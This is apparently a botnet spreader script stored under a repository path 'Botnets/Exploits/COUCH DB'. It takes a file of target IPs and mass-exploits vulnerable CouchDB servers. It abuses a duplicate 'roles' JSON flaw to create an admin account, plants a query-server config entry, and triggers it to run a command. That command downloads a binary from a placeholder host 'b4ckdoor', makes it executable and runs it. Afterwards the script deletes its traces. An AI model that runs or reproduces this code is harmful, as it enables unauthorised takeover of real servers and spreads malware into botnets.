Path: blob/master/Botnets/Exploits/COUCH DB/couchdb.py
5038 views
#!/usr/bin/env python1from requests.auth import HTTPBasicAuth2import random3import requests4import re5import sys6from threading import Thread7from time import sleep8910ips = open(sys.argv[1], "r").readlines()11Rdatabases = ["/a564r6fusmg","/dyejdffyjdxryj","/esreghsrgfbgrsb","/sfafdbsrdgjqef","/fyukddyuodyj","/yfjdued6yjdsza","/wefrhnwgerhgsrh","/sfdrebwbef","/fdfgffrgfdsg"]1213def getVersion(ip):14version = requests.get(ip).json()["version"]15return version1617def exploit(ip):18global Rdatabases19try:20try:21if sys.argv[2] == "-r":22cmd = "cd /tmp; wget http://b4ckdoor/x86; curl wget http://b4ckdoor/x86 -O; chmod 777 x86; ./x86 root;"23elif sys.argv[2] == "-c":24cmd = "cd /tmp; wget http://b4ckdoor/x86; curl wget http://b4ckdoor/x86 -O; chmod 777 x86; ./x86 root;"25elif sys.argv[2] == "-w":26cmd = "cd /tmp; wget http://b4ckdoor/x86; curl wget http://b4ckdoor/x86 -O; chmod 777 x86; ./x86 root;"27elif sys.argv[2] == "-x":28cmd = "cd /tmp; wget http://b4ckdoor/x86; curl wget http://b4ckdoor/x86 -O; chmod 777 x86; ./x86 root; "29elif not sys.argv[2]:30print "NOT ENOUGH ARGUMENTS!"31sys.exit(0)32except SyntaxError as e:33print "\n Options: (-r|-c|-w|-x)"34db_ = random.choice(Rdatabases)35db = db_36ip = ip.rstrip("\n")37ip = "http://"+ip+":5984"38version = getVersion(ip)39#print("[*] Detected CouchDB Version " + version)40vv = version.replace(".", "")41v = int(version[0])42if v == 1 and int(vv) <= 170:43version = 144elif v == 2 and int(vv) < 211:45version = 246else:47#print("[-] Version " + version + " not vulnerable.")48sys.exit()49with requests.session() as session:50#print("[*] Attempting %s Version %d"%(ip,v))51session.headers = {"Content-Type": "application/json"}5253try:54payload = '{"type": "user", "name": "'55payload += "guest"56payload += '", "roles": ["_admin"], "roles": [],'57payload += '"password": "guest"}'5859pr = session.put(ip + "/_users/org.couchdb.user:guest",60data=payload)6162#print("[+] User guest with password guest successfully created.")63except requests.exceptions.HTTPError:64sys.exit()65session.auth = HTTPBasicAuth("guest", "guest")66try:67if version == 1:68session.put(ip + "/_config/query_servers/cmd",69data='"' + cmd + '"')70#print("[+] Created payload at: " + ip + "/_config/query_servers/cmd")71else:72host = session.get(ip + "/_membership").json()["all_nodes"][0]73session.put(ip + "/_node/" + ip + "/_config/query_servers/cmd",74data='"' + cmd + '"')75#print("[+] Created payload at: " + ip + "/_node/" + host + "/_config/query_servers/cmd")76except requests.exceptions.HTTPError as e:77sys.exit()7879try:80session.put(ip + db)81session.put(ip + db + "/zero", data='{"_id": "HTP"}')82except requests.exceptions.HTTPError:83sys.exit()8485# Execute payload86try:87if version == 1:88session.post(ip + db + "/_temp_view?limit=10",89data='{"language": "cmd", "map": ""}')90else:91session.post(ip + db + "/_design/zero",92data='{"_id": "_design/zero", "views": {"god": {"map": ""} }, "language": "cmd"}')93print("[+] Command executed: " + cmd)94except requests.exceptions.HTTPError:95sys.exit()9697#print("[*] Cleaning up.")9899# Cleanup database100try:101session.delete(ip + db)102except requests.exceptions.HTTPError:103sys.exit()104105# Cleanup payload106try:107if version == 1:108session.delete(ip + "/_config/query_servers/cmd")109else:110host = session.get(ip + "/_membership").json()["all_nodes"][0]111session.delete(ip + "/_node" + host + "/_config/query_servers/cmd")112except requests.exceptions.HTTPError:113sys.exit()114except:115pass116for ip in ips:117try:118hoho = Thread(target=exploit, args=(ip,))119hoho.start()120sleep(0.001)121except:122pass123124125